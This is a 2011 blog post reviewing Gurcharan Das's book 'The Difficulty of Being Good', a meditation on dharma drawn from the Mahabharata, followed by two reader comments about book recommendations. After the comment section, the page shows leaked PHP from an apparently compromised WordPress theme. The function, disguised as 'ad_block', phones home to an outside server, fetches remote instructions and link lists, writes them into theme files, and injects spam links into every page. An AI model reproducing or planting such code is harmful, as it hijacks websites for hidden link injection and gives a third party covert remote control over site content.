A very good book on how to live well and justly

May 1, 2011


I took my time to read this book, but it was worth it. Gurcharan Das‘s The Difficulty of Being Good: On the Subtle Art of Dharma is a worthy companion to a long journey, or something to be read like one sips a cup of hot tea on a very cold day. It’s a meditation on living a good life, organized around the virtues and vices exhibited by the characters in the great Indian epic The Mahabharata (here’s a shortened prose version from R. K. Narayan). Das weaves together examples from the text, experiences from his life in business (he was CEO of Procter & Gamble India), and insights and comparisons from his wide reading in moral philosophy to form a book that is favorably comparable to the Meditations of Marcus Aurelius.

A dominant theme of the book is that “dharma is subtle,” i.e., doing the right thing is not just a matter of having a good will; rather, it’s often hard to know what is the right thing to do. (Das is widely read and his work introduced me to some ideas and books of which I was previously ignorant. The Difficulty of Being Good would have benefited from a comparison of the idea of dharma with Aristotle’s discussion of practical judgement, or phronesis; perhaps such a comparison would provide a good topic for a student working in comparative moral philosophy.)

In addition to being a subtle writer and thinker on matters of living well, Das is an articulate and outspoken classical liberal (libertarian) who writes a column for The Times of India. He is the chairman of the Centre for Civil Society. Here is his speech April 8, 2011 before a gigantic crowd in Tahrir Square, Egypt, the most rousing speech to a mass audience on the rule of law that I’ve ever seen.

{ 2 comments… read them below or add one }

Sybarite May 14, 2011 at 9:10 am

Mr. Palmer,
Thanks for bringing this book to our attention. I will try to obtain it through my local library. I really appreciate your book recommendations. I probably would not have known of this book if you handn’t recommended it. And while we’re at it, what book(s) on Islam would you recommend?

Tom Palmer May 16, 2011 at 2:20 am

There are many books on Islam. I’ve read histories of Islam, presentations of the basics of Islamic theology (including discussion of disputes), and discussions of Islamic political theory. I’d recommend Antony Black’s “The History of Islamic Political Thought: From the Prophet to the Present,” http://www.amazon.com/History-Islamic-Political-Thought-Prophet/dp/0415932432/ref=sr_1_1?ie=UTF8&s=books&qid=1305526761&sr=1-1

Leave a Comment

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>